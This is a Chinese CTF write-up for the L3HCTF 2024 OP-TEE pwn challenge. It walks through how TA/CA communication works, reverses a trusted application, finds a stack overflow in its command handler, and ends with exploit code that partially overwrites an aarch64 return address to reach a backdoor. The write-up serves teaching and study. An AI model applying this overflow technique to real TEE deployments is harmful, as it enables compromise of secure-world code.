2024 L3HCTF Pwn 信じてください、先輩!!
Tee Pwn 入门
太荣幸了 god 🐧 手把手教学 TEE Pwn, 就是 god 🐧 看不下去我摸了一个下午还没做出来, 亲自秒了…
复现一波入个门
OP-TEE
可信执行环境 (TEE) 是在硬件层做的安全措施, 提供一个隔离的执行环境, 来负责安全的计算.
这题用的是 OP-TEE 这个开源项目. OP-TEE 架构如下:

简单来说 OP-TEE 有两个相互隔离的部分, 可信应用 (TA) 在 Secure World 中执行, 不可信应用作为客户端应用 (CA) 通过 TEE Client API 接口与其通信, 使用 TA 提供的功能.
optee_examples 有 CA 和 TA 的实例. 可以先来分析一下.
TA 中有需要实现如下函数:
/*
* Called when the instance of the TA is created. This is the first call in
* the TA.
*/
TEE_Result TA_CreateEntryPoint(void);
/*
* Called when the instance of the TA is destroyed if the TA has not
* crashed or panicked. This is the last call in the TA.
*/
void TA_DestroyEntryPoint(void);
/*
* Called when a new session is opened to the TA. *sess_ctx can be updated
* with a value to be able to identify this session in subsequent calls to the
* TA. In this function you will normally do the global initialization for the
* TA.
*/
TEE_Result TA_OpenSessionEntryPoint(uint32_t param_types,
TEE_Param __maybe_unused params[4],
void __maybe_unused **sess_ctx);
/*
* Called when a session is closed, sess_ctx hold the value that was
* assigned by TA_OpenSessionEntryPoint().
*/
void TA_CloseSessionEntryPoint(void __maybe_unused *sess_ctx);
/*
* Called when a TA is invoked. sess_ctx hold that value that was
* assigned by TA_OpenSessionEntryPoint(). The rest of the paramters
* comes from normal world.
*/
TEE_Result TA_InvokeCommandEntryPoint(void __maybe_unused *sess_ctx,
uint32_t cmd_id,
uint32_t param_types, TEE_Param params[4]);
CA:
int main(void)
{
TEEC_Result res;
TEEC_Context ctx;
TEEC_Session sess;
TEEC_Operation op;
TEEC_UUID uuid = TA_HELLO_WORLD_UUID;
uint32_t err_origin;
/* Initialize a context connecting us to the TEE */
res = TEEC_InitializeContext(NULL, &ctx);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InitializeContext failed with code 0x%x", res);
/*
* Open a session to the "hello world" TA, the TA will print "hello
* world!" in the log when the session is created.
*/
res = TEEC_OpenSession(&ctx, &sess, &uuid,
TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x",
res, err_origin);
/*
* Execute a function in the TA by invoking it, in this case
* we're incrementing a number.
*
* The value of command ID part and how the parameters are
* interpreted is part of the interface provided by the TA.
*/
/* Clear the TEEC_Operation struct */
memset(&op, 0, sizeof(op));
/*
* Prepare the argument. Pass a value in the first parameter,
* the remaining three parameters are unused.
*/
op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INOUT, TEEC_NONE,
TEEC_NONE, TEEC_NONE);
op.params[0].value.a = 42;
/*
* TA_HELLO_WORLD_CMD_INC_VALUE is the actual function in the TA to be
* called.
*/
printf("Invoking TA to increment %d\n", op.params[0].value.a);
res = TEEC_InvokeCommand(&sess, TA_HELLO_WORLD_CMD_INC_VALUE, &op,
&err_origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x",
res, err_origin);
printf("TA incremented value to %d\n", op.params[0].value.a);
/*
* We're done with the TA, close the session and
* destroy the context.
*
* The TA will print "Goodbye!" in the log when the
* session is closed.
*/
TEEC_CloseSession(&sess);
TEEC_FinalizeContext(&ctx);
return 0;
}
注释写的很清楚了, CA 首先要 TEEC_OpenSession
与特定的 TA 建立会话, 这里需要传入 TA 的 uuid; 然后 TEEC_InvokeCommand
调用 TA 命令, cmd
指定功能, op
传递参数.
编译 CA 需要编译 optee_client
, 编译 TA 需要编译 optee_os
.
libteeacl/include/teeacl.h
中的 #include <uuid/uuid.h>
改为 #include <uuid.h>
, 因为 pkg-config --cflags uuid
输出是 -I/usr/include/uuid
. 以及还得用 cmake 编译, make 会说 ld 找不到 -luuid
. 很奇怪. (当时做题没考虑版本问题直接拿最新版编译了, 也能用.)TA 提取和处理
既然是复现, 那就从发现他是 OP TEE 开始.
将题目解压, 得到如下文件:
.
├── flash.bin
├── Image
├── qemu-system-aarch642
├── rootfs.cpio.gz
└── start.sh
可以看到一个固件 flash.bin
, 一个内核镜像 Image
, 一个 aarch64 的 qemu
程序, 一个文件系统 rootfs
, 一个启动脚本 start.sh
. 先启动试试

可以从打印的信息中发现 optee, tee-supplicant 等字样, 还可以看到 optee 的版本是 3.19.0
按提示用 root 登陆, 可以看到 /root
下有一个 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta
, 通过查阅 文档 可以发现, 这就是 TA 应用, 那一串东西是 uuid, 用来区分 TA 的.
BINARY and LIBNAME
- These are exclusive, meaning that you cannot use both at the same time. If building a TA,
BINARY
shall provide the TA filename used to load the TA. The built and signed TA binary file will be named${BINARY}.ta
. In native OP-TEE, it is the TA UUID, used by tee-supplicant to identify TAs.
除了 /root
下有 TA, 系统其他地方也有一些. /root
里这个就是出题人写的 TA 了.
用 root 将 rootfs 解压 (因为打包和解压都涉及到用户权限问题, 如果不用 root 的话, 重新打包之后会跑不起来), 把 TA 拿出来 file 一下会发现这玩意类型不知道:
❯ file 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta
8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta: data
继续翻 文档 发现, 这个 TA 是签了名的. 所以要先去掉签名. 签名就是直接加在文件最前面, binwalk 一下提取 elf.
逆向
现在可以正常反编译了. 程序扣掉了符号表, 不过 TA 很多函数是 optee_client API 编译进来的. 根据企鹅的说法可以用 BinaryAI 跑一下, 能恢复不少函数. 自己又编译了一个 optee_examples
里的 hello_world
TA 去 BinDiff 了一下, 也可以对着看. (发现题目 TA 的 uuid 和 hello world 的一样哈哈)
而且 main.c 里写的函数地址更低, 可以在低地址处寻找 TA 的功能. 需要注意貌似题目编译的时候有函数调用的优化, 自己编译出来没有, 对着看的时候注意一下即可.


这里能看到几个 if 语句快逻辑是一样的, 题目 TA 比自己编译出来的多了很多东西, 观察一下应该是函数优化展开了. 这里主要看 entry_invoke_command()
, 找到调用 TA 的功能.

可以很容易就发现, 题目的 sub_1E8()
便是 TA_InvokeCommandEntryPoint()
把参数类型设置正确, 题目的函数如下:
__int64 __cdecl TA_InvokeCommandEntryPoint(void *sess_ctx, uint32_t cmd_id, uint32_t param_types, TEE_Param *params)
{
unsigned int v4; // w19
char *v6; // x23
char v8[40]; // [xsp+40h] [xbp+40h] BYREF
char v9[56]; // [xsp+68h] [xbp+68h] BYREF
if ( cmd_id )
return 0xFFFF0006LL;
if ( param_types == 101 )
{
v4 = 0;
v6 = (char *)params + 16;
sub_19E0((__int64)v8, *(_QWORD *)params, *((_DWORD *)params + 2));
trace_printf((__int64)"move", 48LL, 3LL, 1LL, (__int64)"Recv_buffers1: %s\n", v8);
sub_19E0((__int64)v9, *((_QWORD *)params + 2), *((_DWORD *)v6 + 2));
trace_printf((__int64)"move", 55LL, 3LL, 1LL, (__int64)"Recv_buffers2: %s\n", v9);
}
else
{
return 0xFFFF0006;
}
return v4;
}
其中 sub_19E0()
根据调试信息应该是 move()
. 稍微逆一下就是这样的:
void __fastcall move_0(char *dst, char *src, __int64 len)
{
char *src_end; // x3
char *dst_end; // x4
__int64 v5; // x2
__int64 j; // x1
__int64 i; // x3
if ( dst <= src || (src_end = &src[len], &src[len] <= dst) )
{
for ( i = 0LL; len != i; ++i )
dst[i] = src[i];
}
else
{
dst_end = &dst[len];
v5 = ~len;
for ( j = 0LL; v5 != --j; dst_end[j] = src_end[j] )
;
}
}
一个非常简单的 copy 函数.
在 optee_client
中能翻到 TEE_Param
:
typedef union {
struct {
void *buffer;
size_t size;
} memref;
struct {
uint32_t a;
uint32_t b;
} value;
} TEE_Param;
导入到 IDA, TA_InvokeCommandEntryPoint()
函数最后如下:
void __cdecl TA_InvokeCommandEntryPoint(
void *sess_ctx,
uint32_t cmd_id,
uint32_t param_types,
$B0FDEAEF40E7069B360376355E477A47::$341C9A80B7E8F56679FDB1F9A08C3AA7 (*params)[4])
{
$B0FDEAEF40E7069B360376355E477A47::$341C9A80B7E8F56679FDB1F9A08C3AA7 *v5; // x23
char v6[40]; // [xsp+40h] [xbp+40h] BYREF
char v7[56]; // [xsp+68h] [xbp+68h] BYREF
if ( !cmd_id && param_types == 0x65 )
{
v5 = &(*params)[1];
move(v6, (*params)[0].buffer, (*params)[0].size);
trace_printf("move", 48LL, 3LL, 1LL, "Recv_buffers1: %s\n", v6);
move(v7, (*params)[1].buffer, v5->size);
trace_printf("move", 55LL, 3LL, 1LL, "Recv_buffers2: %s\n", v7);
}
}
这里将传入参数指定的一段内存数据拷贝到栈上, 没有检查大小, 存在溢出.
CA
TA_InvokeCommandEntryPoint()
还有一个 if ( param_types == 101 )
拦在前面, 查一下 API 文档 可以找到这个 types 需要如何设置:
uint32_t TEEC_PARAM_TYPES(param0Type, param1Type, param2Type, param3Type)
Description
This function-like macro builds a constant containing four Parameter types for use in the paramTypes
field of a TEEC_Operation
structure. It accepts four parameters which MUST be taken from the constant values described in Table 4-5.
Note that the way in which the parameter types are packed in a 32-bit integer is implementation-defined and a Client MUST use this macro to build the content of the paramTypes
field. However, the value 0 MUST always be equivalent to all types set to TEEC_NONE
.
这里最多能够传四个参数, 每个参数需要制定类型. 翻一下表能够看到题目制定的两个参数类型分别为 TEEC_MEMREF_TEMP_INPUT
和 TEEC_MEMREF_TEMP_OUTPUT
.
Name | Value | Comment |
---|---|---|
TEEC_MEMREF_TEMP_INPUT | 0x00000005 | The Parameter is a TEEC_TempMemoryReference describing a region of memory which needs to be temporarily registered for the duration of the Operation and is tagged as input. |
TEEC_MEMREF_TEMP_OUTPUT | 0x00000006 | Same as TEEC_MEMREF_TEMP_INPUT , but the Memory Reference is tagged as output. The Implementation may update the size field to reflect the required output size in some use cases. |
还能翻到对应的结构 TEEC_TempMemoryReference
:
This type defines a Temporary Memory Reference. It is used as a TEEC_Operation
parameter when the corresponding parameter type is one of TEEC_MEMREF_TEMP_INPUT
, TEEC_MEMREF_TEMP_OUTPUT
, or TEEC_MEMREF_TEMP_INOUT
.
typedef struct {
void* buffer;
size_t size;
} TEEC_TempMemoryReference;
所以只要设置好参数类型, 大小, 就可以栈溢出了.
这里拿 hello world 的 CA 来修改:
#include <err.h>
#include <stdio.h>
#include <string.h>
/* OP-TEE TEE client API (built by optee_client) */
#include <tee_client_api.h>
#define TA_HELLO_WORLD_UUID \
{ \
0x8aaaf200, 0x2450, 0x11e4, { \
0xab, 0xe2, 0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b \
} \
}
int main(void) {
TEEC_Result res;
TEEC_Context ctx;
TEEC_Session sess;
TEEC_Operation op;
TEEC_UUID uuid = TA_HELLO_WORLD_UUID;
uint32_t err_origin;
/* Initialize a context connecting us to the TEE */
res = TEEC_InitializeContext(NULL, &ctx);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InitializeContext failed with code 0x%x", res);
/*
* Open a session to the "hello world" TA, the TA will print "hello
* world!" in the log when the session is created.
*/
res = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL,
&err_origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res,
err_origin);
/*
* Execute a function in the TA by invoking it, in this case
* we're incrementing a number.
*
* The value of command ID part and how the parameters are
* interpreted is part of the interface provided by the TA.
*/
/* Clear the TEEC_Operation struct */
memset(&op, 0, sizeof(op));
/*
* Prepare the argument. Pass a value in the first parameter,
* the remaining three parameters are unused.
*/
op.paramTypes = TEEC_PARAM_TYPES(
TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE, TEEC_NONE);
char buf0[] = "AAAA";
int size0 = 4;
char buf1[] = "BBBB";
int size1 = 4;
op.params[0].tmpref.buffer = buf0;
op.params[0].tmpref.size = size0;
op.params[1].tmpref.buffer = buf1;
op.params[1].tmpref.size = size1;
/*
* TA_HELLO_WORLD_CMD_INC_VALUE is the actual function in the TA to be
* called.
*/
res = TEEC_InvokeCommand(&sess, 0, &op, &err_origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", res,
err_origin);
/*
* We're done with the TA, close the session and
* destroy the context.
*
* The TA will print "Goodbye!" in the log when the
* session is closed.
*/
TEEC_CloseSession(&sess);
TEEC_FinalizeContext(&ctx);
return 0;
}
主要就是修改 TEEC_Operation
. 这样就可以成功进入 TA 的中的功能了.
调试
Normal world 和 Secure World 都有日志, qemu 启动脚本里加上这 -serial tcp:localhost:54320 -serial tcp:localhost:54321
, 然后启动前用 build/soc_term.py
监听这两个端口即可. Secure World 有个程序叫 ldelf
, 他负责把 TA 装载进内存. 装载的时候有部分地址随机, 在 CA 调用 TEEC_OpenSession()
后, TEEC_InvokeCommand()
前用 getchar()
停下, 日志里会有输出装载地址, 就知道在哪下断点了.

TA_InvokeCommandEntryPoint
(pwndbg 调试有些时候会说地址无效显示不出来汇编, 不知道是我的问题还是 pwndbg 的问题qaq)
aarch64 ret2text
还没学过 arm pwn
aarch64 一共 31 个 64 位通用寄存器, 用 x0 - x30 表示. w0 - w30 表示低 32 位. 其中 x29 是帧指针, 指向当前函数栈帧的底部, x30 是链接寄存器, 保存返回地址. 函数调用时, 前 8 个参数用寄存器 x0 到 x7 传递, x0 作返回值. 特殊寄存器 PC, SP. 系统调用的调用号放在 x8 中, 系统调用指令为 svc
.
题目使用 55 号系统调用获得 flag. god 🐧 说猜测出题人没水平直接给后门, 搜一下 TA 里的 gadget 确实有.

函数调用入口会用 stp
(store pair) 将 x29 和 x30 放在栈上, 出口用 ldp
(load pair) 从栈上取回来. 所以只要覆盖栈上的返回地址到后门函数即可.
aarch64 的 x29, x30 和 x86 的 bp, ra 放在栈上的位置不一样. aarch64 把 x29 和 x30 放在栈的最顶上, 所以溢出覆盖不到当前函数的返回地址, 不过可以覆盖 caller 的返回地址, 所以差别不大. 这里覆盖的是 utee_entry
的返回地址, 离后门只差一个字节, 直接覆盖最地位过去就行, 不需要泄漏. 调一调确定位置偏移, exp 核心部分如下:
char *buf = malloc(0x100);
memset(buf, 'A', 0x60);
size_t *rop = &buf[0x60];
*rop++ = 0xdeadbeef; // FP
char *ptr = rop;
*ptr++ = 0xb4; // LR lsb
op.params[0].tmpref.buffer = buf;
op.params[0].tmpref.size = ptr - buf;
op.params[1].tmpref.buffer = buf;
op.params[1].tmpref.size = 0;
